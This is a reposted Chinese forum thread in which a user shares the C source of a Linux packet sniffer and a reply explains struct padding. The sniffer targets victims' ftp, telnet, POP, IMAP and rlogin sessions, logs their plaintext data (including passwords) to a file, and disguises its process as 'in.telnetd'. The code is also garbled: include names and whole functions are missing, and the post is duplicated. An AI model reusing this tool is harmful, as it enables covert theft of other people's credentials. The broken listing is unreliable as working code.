当前位置: 技术问答>linux和unix
谬论专家你好,我把源文件给附上
来源: 互联网 发布时间:2014-11-24
本文导语: 下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。 这个程序是我从永远的UNIX下载下来的,我不明白的地方就只有昨天贴出去的那一段我给你写了注释 我给你留言了,很想认识你我的QQ84385865,祝你...
下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
这个程序是我从永远的UNIX下载下来的,我不明白的地方就只有昨天贴出去的那一段我给你写了注释 我给你留言了,很想认识你我的QQ84385865,祝你愉快!!
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket // 这是一个以太网结构
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;// 定义了一个全局指针
struct tcphdr *tcp;//定义了一个全局指针
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d) // 打开一个套接口并设置网卡的工作模式
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd (victim.start_time + TIMEOUT))
{
fprintf(fp, "---- [Timed Out]");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "---- [RST]");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "---- [FIN]");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, ""); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "");}
}
}
main(int argc, char **argv)// 主函数在这里
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);// 这个地方我不明白
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);// 这个地方我不明白
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...");
close(s);
fclose(fp);
exit(0);
}
下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。
它们在头文件中的定义如下:
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix "
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。
随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
这个程序是我从永远的UNIX下载下来的,我不明白的地方就只有昨天贴出去的那一段我给你写了注释 我给你留言了,很想认识你我的QQ84385865,祝你愉快!!
/* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
int openintf(char *);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int, char *);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);
struct etherpacket // 这是一个以太网结构
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;
struct
{
unsigned long saddr;
unsigned long daddr;
unsigned short sport;
unsigned short dport;
int bytes_read;
char active;
time_t start_time;
} victim;
struct iphdr *ip;// 定义了一个全局指针
struct tcphdr *tcp;//定义了一个全局指针
int s;
FILE *fp;
#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"
int openintf(char *d) // 打开一个套接口并设置网卡的工作模式
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
if(fd (victim.start_time + TIMEOUT))
{
fprintf(fp, "---- [Timed Out]");
clear_victim();
return 0;
}
if(ntohs(tcp->dest)==21) p=1; /* ftp */
if(ntohs(tcp->dest)==23) p=1; /* telnet */
if(ntohs(tcp->dest)==110) p=1; /* pop3 */
if(ntohs(tcp->dest)==109) p=1; /* pop2 */
if(ntohs(tcp->dest)==143) p=1; /* imap2 */
if(ntohs(tcp->dest)==513) p=1; /* rlogin */
if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
if(victim.active == 0)
if(p == 1)
if(tcp->syn == 1)
{
victim.saddr=ip->saddr;
victim.daddr=ip->daddr;
victim.active=1;
victim.sport=tcp->source;
victim.dport=tcp->dest;
victim.bytes_read=0;
victim.start_time=time(NULL);
print_header();
}
if(tcp->dest != victim.dport) return 0;
if(tcp->source != victim.sport) return 0;
if(ip->saddr != victim.saddr) return 0;
if(ip->daddr != victim.daddr) return 0;
if(tcp->rst == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "---- [RST]");
clear_victim();
return 0;
}
if(tcp->fin == 1)
{
victim.active=0;
alarm(0);
fprintf(fp, "---- [FIN]");
clear_victim();
return 0;
}
return 1;
}
int print_header(void)
{
fprintf(fp, "");
fprintf(fp, "%s => ", hostlookup(ip->saddr));
fprintf(fp, "%s [%d]", hostlookup(ip->daddr), ntohs(tcp->dest));
}
int print_data(int datalen, char *data)
{
int i=0;
int t=0;
victim.bytes_read=victim.bytes_read+datalen;
for(i=0;i != datalen;i++)
{
if(data[i] == 13) { fprintf(fp, ""); t=0; }
if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
if(t > 75) {t=0;fprintf(fp, "");}
}
}
main(int argc, char **argv)// 主函数在这里
{
sprintf(argv[0],"%s","in.telnetd");
s=openintf("eth0");
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);// 这个地方我不明白
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);// 这个地方我不明白
signal(SIGHUP, SIG_IGN);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
signal(SIGKILL, cleanup);
signal(SIGQUIT, cleanup);
if(argc == 2) fp=stdout;
else fp=fopen(TCPLOG, "at");
if(fp == NULL) { fprintf(stderr, "cant open log");exit(0);}
clear_victim();
for(;;)
{
read_tcp(s);
if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
fflush(fp);
}
}
char *hostlookup(unsigned long int in)
{
static char blah[1024];
struct in_addr i;
struct hostent * he;
i.s_addr=in;
he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
if(he == NULL)
strcpy(blah, inet_ntoa(i));
else
strcpy(blah,he->h_name);
return blah;
}
void clear_victim(void)
{
victim.saddr=0;
victim.daddr=0;
victim.sport=0;
victim.dport=0;
victim.active=0;
victim.bytes_read=0;
victim.start_time=0;
}
void cleanup(int sig)
{
fprintf(fp, "Exiting...");
close(s);
fclose(fp);
exit(0);
}
下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。
它们在头文件中的定义如下:
struct ethhdr
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
struct iphdr
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int8_t ihl:4;
u_int8_t version:4;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int8_t version:4;
u_int8_t ihl:4;
#else
#error "Please fix "
#endif
u_int8_t tos;
u_int16_t tot_len;
u_int16_t id;
u_int16_t frag_off;
u_int8_t ttl;
u_int8_t protocol;
u_int16_t check;
u_int32_t saddr;
u_int32_t daddr;
/*The options start here. */
};
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#else
#error "Adjust your defines"
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_ptr;
};
上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。
随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:
struct ifreq
{
#define IFHWADDRLEN 6
#define IFNAMSIZ 16
union
{
char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
} ifr_ifrn;
union
{
struct sockaddr ifru_addr;
struct sockaddr ifru_dstaddr;
struct sockaddr ifru_broadaddr;
struct sockaddr ifru_netmask;
struct sockaddr ifru_hwaddr;
short int ifru_flags;
int ifru_ivalue;
int ifru_mtu;
struct ifmap ifru_map;
char ifru_slave[IFNAMSIZ]; /* Just fits the size */
__caddr_t ifru_data;
} ifr_ifru;
};
|
我们在QQ上聊过了吧,你说的地方我上次说的,为了地址对齐,就是这样了。
#define AO_K_NAME_MAXCHAR 12
typedef struct {
char name[AO_K_NAME_MAXCHAR]; /* Description of point */
uint16 config_flags; /* Configuration flags */
uint16 padding0; /* Padding */
float32 cfa; /* Conversion factor a (slope) */
float32 cfb; /* Conversion factor b (intcpt)*/
uint16 unit_of_measure; /* Unit of measure */
uint16 padding1; /* Padding */
float32 hrl; /* High reasonability limit */
float32 lrl; /* Low reasonability limit */
uint8 hardware_class; /* Hardware type */
uint8 hardware_node_id; /* Chassis address */
uint16 hardware_object; /* hardware object (slot no.) */
uint16 hardware_channel_id; /* hardware channel */
uint16 padding2; /* Padding */
uint8 permissive_enabled; /* Permissive checking is enbld*/
uint8 permissive_target_value; /* Digital input value requrd */
uint16 permissive_target_point; /* Digital input point */
} AO_D_ATTRIBUTES;
这个是CAE公司的电力系统的一个AO模块结构,
中间你可以看到两个padding 成员,第一个是为成员 cfa 的地址能和float的地址对齐,第二个是为了给下面的三个相关的成员刚好一个32位字长,
这些padding 成员在应用时是要跳过的,想一想应该明白了吧。
linux下的实现和此类似,我现在做这个系统,所以用这个代码,请多多包涵。
#define AO_K_NAME_MAXCHAR 12
typedef struct {
char name[AO_K_NAME_MAXCHAR]; /* Description of point */
uint16 config_flags; /* Configuration flags */
uint16 padding0; /* Padding */
float32 cfa; /* Conversion factor a (slope) */
float32 cfb; /* Conversion factor b (intcpt)*/
uint16 unit_of_measure; /* Unit of measure */
uint16 padding1; /* Padding */
float32 hrl; /* High reasonability limit */
float32 lrl; /* Low reasonability limit */
uint8 hardware_class; /* Hardware type */
uint8 hardware_node_id; /* Chassis address */
uint16 hardware_object; /* hardware object (slot no.) */
uint16 hardware_channel_id; /* hardware channel */
uint16 padding2; /* Padding */
uint8 permissive_enabled; /* Permissive checking is enbld*/
uint8 permissive_target_value; /* Digital input value requrd */
uint16 permissive_target_point; /* Digital input point */
} AO_D_ATTRIBUTES;
这个是CAE公司的电力系统的一个AO模块结构,
中间你可以看到两个padding 成员,第一个是为成员 cfa 的地址能和float的地址对齐,第二个是为了给下面的三个相关的成员刚好一个32位字长,
这些padding 成员在应用时是要跳过的,想一想应该明白了吧。
linux下的实现和此类似,我现在做这个系统,所以用这个代码,请多多包涵。
您可能感兴趣的文章:
本站(WWW.)旨在分享和传播互联网科技相关的资讯和技术,将尽最大努力为读者提供更好的信息聚合和浏览方式。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。
本站(WWW.)站内文章除注明原创外,均为转载、整理或搜集自网络。欢迎任何形式的转载,转载请注明出处。